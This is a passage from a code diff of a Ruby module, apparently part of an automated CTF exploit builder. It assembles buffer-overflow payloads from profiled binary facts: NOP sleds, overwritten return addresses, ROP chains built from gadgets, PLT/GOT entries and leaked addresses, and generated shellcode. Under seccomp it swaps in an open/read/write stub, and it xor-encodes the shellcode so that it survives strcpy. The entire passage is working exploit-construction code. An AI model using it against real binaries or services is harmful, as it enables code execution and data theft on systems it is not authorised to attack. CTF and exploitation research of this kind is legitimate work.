# guesses a byte.
|
|
77
|
+
def assemble(facts, layout, offset, arch, width, payload_file, shellcode_path = nil)
|
|
78
|
+
body = +""
|
|
79
|
+
ret = nil
|
|
80
|
+
ret_source = nil
|
|
81
|
+
layout.each do |slot|
|
|
82
|
+
case slot[0]
|
|
83
|
+
when "padding"
|
|
84
|
+
filler = (slot[2] == "sled") ? "\x90" : "A"
|
|
85
|
+
body << (filler * offset).b
|
|
86
|
+
when "qword", "dword"
|
|
87
|
+
# dword is 4 bytes WHATEVER the arch (a partial overwrite);
|
|
88
|
+
# qword is the arch's pointer width (8 on x64, 4 on x86)
|
|
89
|
+
slot_width = (slot[0] == "dword") ? "L<" : width
|
|
90
|
+
value, source = resolve_addr(facts, slot[1], slot_width)
|
|
91
|
+
ret ||= value
|
|
92
|
+
ret_source ||= source
|
|
93
|
+
body << [value].pack(slot_width)
|
|
94
|
+
when "shellcode"
|
|
95
|
+
sc = if payload_file
|
|
96
|
+
File.binread(payload_file)
|
|
97
|
+
else
|
|
98
|
+
stub = (slot[1] || "sh").to_sym
|
|
99
|
+
# the orw stub embeds its flag path: the builder-level
|
|
100
|
+
# shellcode_path is the operator's explicit override and
|
|
101
|
+
# wins over the slot's default (measured: the orw slot
|
|
102
|
+
# carried flag.txt, the shared ret2func flag came back)
|
|
103
|
+
path = shellcode_path || ((slot.size > 2) ? slot[2] : nil)
|
|
104
|
+
# seccomp: execve dies, the sh stub is a booby trap - the
|
|
105
|
+
# orw chain (open/read/write, clean exit) is the answer;
|
|
106
|
+
# the flag path defaults to the CTF convention.
|
|
107
|
+
if stub == :sh && facts["seccomp"]&.first&.first == "true"
|
|
108
|
+
stub = :orw
|
|
109
|
+
path ||= "flag.txt"
|
|
110
|
+
end
|
|
111
|
+
AugureProfiler::Shellcode.generate(shellcode_klass(arch), stub, path: path)
|
|
112
|
+
end
|
|
113
|
+
# The shellcode travels through a strcpy (the vuln=sof copy):
|
|
114
|
+
# the copied string stops at the first NUL, so a raw stub dies
|
|
115
|
+
# in the channel. The Encoder's xor wrapper (the decoder is
|
|
116
|
+
# zero-free by construction, the data is xor-keyed) crosses it;
|
|
117
|
+
# the decoded stub materializes in place at run time.
|
|
118
|
+
sc = AugureProfiler::Encoder.encode(sc.b, badchars: [0x00], arch: arch)[:bytes]
|
|
119
|
+
body << sc.b
|
|
120
|
+
when "chain"
|
|
121
|
+
slot[1..].each do |ref|
|
|
122
|
+
value, source = resolve_addr(facts, ref, width)
|
|
123
|
+
ret ||= value
|
|
124
|
+
ret_source ||= source
|
|
125
|
+
body << [value].pack(width)
|
|
126
|
+
end
|
|
127
|
+
else
|
|
128
|
+
raise BuildError, "unknown build slot #{slot[0].inspect}"
|
|
129
|
+
end
|
|
130
|
+
end
|
|
131
|
+
raise BuildError, "the layout produced no return address" if ret.nil?
|
|
132
|
+
|
|
133
|
+
[body, ret, ret_source]
|
|
134
|
+
end
|
|
135
|
+
|
|
136
|
+
# slot ref -> (address, provenance). "win" = the win_symbol fact,
|
|
137
|
+
# "gadget:TYPE" = the first gadget of that type (verified before use).
|
|
138
|
+
def resolve_addr(facts, ref, _width)
|
|
139
|
+
case ref
|
|
140
|
+
when "win"
|
|
141
|
+
win = facts["win_symbol"]&.first
|
|
142
|
+
raise BuildError, "no win_symbol fact - the winning function's address is unknown" unless win
|
|
143
|
+
|
|
144
|
+
[win[1], "win_symbol:#{win[0]}@#{win[1]}"]
|
|
145
|
+
when /\Agadget:(.+)\z/
|
|
146
|
+
type = Regexp.last_match(1)
|
|
147
|
+
gadget = facts["gadget"]&.find { |t, _| t == type }
|
|
148
|
+
raise BuildError, "no #{type} gadget in the facts" unless gadget
|
|
149
|
+
|
|
150
|
+
[gadget[1], "gadget:#{type}@#{gadget[1]}"]
|
|
151
|
+
when /\Aleak:(.+)\z/
|
|
152
|
+
name = Regexp.last_match(1)
|
|
153
|
+
leak = facts["leaked_address"]&.find { |n, _| n == name }
|
|
154
|
+
raise BuildError, "no leaked_address(\"#{name}\") fact - harvest the service first" unless leak
|
|
155
|
+
|
|
156
|
+
[leak[1], "leaked_address:#{name}@#{leak[1]}"]
|
|
157
|
+
when /\Aplt_addr:(.+)\z/
|
|
158
|
+
name = Regexp.last_match(1)
|
|
159
|
+
entry = facts["plt_addr"]&.find { |n, _| n == name }
|
|
160
|
+
raise BuildError, "no plt_addr(\"#{name}\") fact - profile the binary first" unless entry
|
|
161
|
+
|
|
162
|
+
[entry[1], "plt_addr:#{name}@#{entry[1]}"]
|
|
163
|
+
when /\Agot_addr:(.+)\z/
|
|
164
|
+
name = Regexp.last_match(1)
|
|
165
|
+
entry = facts["got_addr"]&.find { |n, _| n == name }
|
|
166
|
+
raise BuildError, "no got_addr(\"#{name}\") fact - profile the binary first" unless entry
|
|
167
|
+
|
|
168
|
+
[entry[1], "got_addr:#{name}@#{entry[1]}"]
|
|
169
|
+
when /\Aconst:(\d+)\z/
|
|
170
|
+
[Regexp.last_match(1).to_i, "const:#{Regexp.last_match(1)}"]
|
|
171
|
+
else
|
|
172
|
+
raise BuildError,
|
|
173
|
+
"unknown address reference #{ref.inspect} (win | gadget:TYPE | plt_addr:NAME | got_addr:NAME | leak:NAME | const:N)"
|
|
174
|
+
end
|
|
175
|
+
end
|
|
176
|
+
|
|
177
|
+
def elf?(path)
|
|
178
|
+
File.open(path, "rb") { |f| f.read(4) == "\x7fELF" }
|
|
179
|
+
rescue
|
|
180
|
+
false
|
|
181
|
+
end
|
|
182
|
+
|
|
183
|
+
def shellcode_klass(arch)
|
|
184
|
+
(arch == :x64) ? Metasm::X64 : Metasm::Ia32
|
|
185
|
+
end
|
|
186
|
+
end
|
|
187
|
+
end
|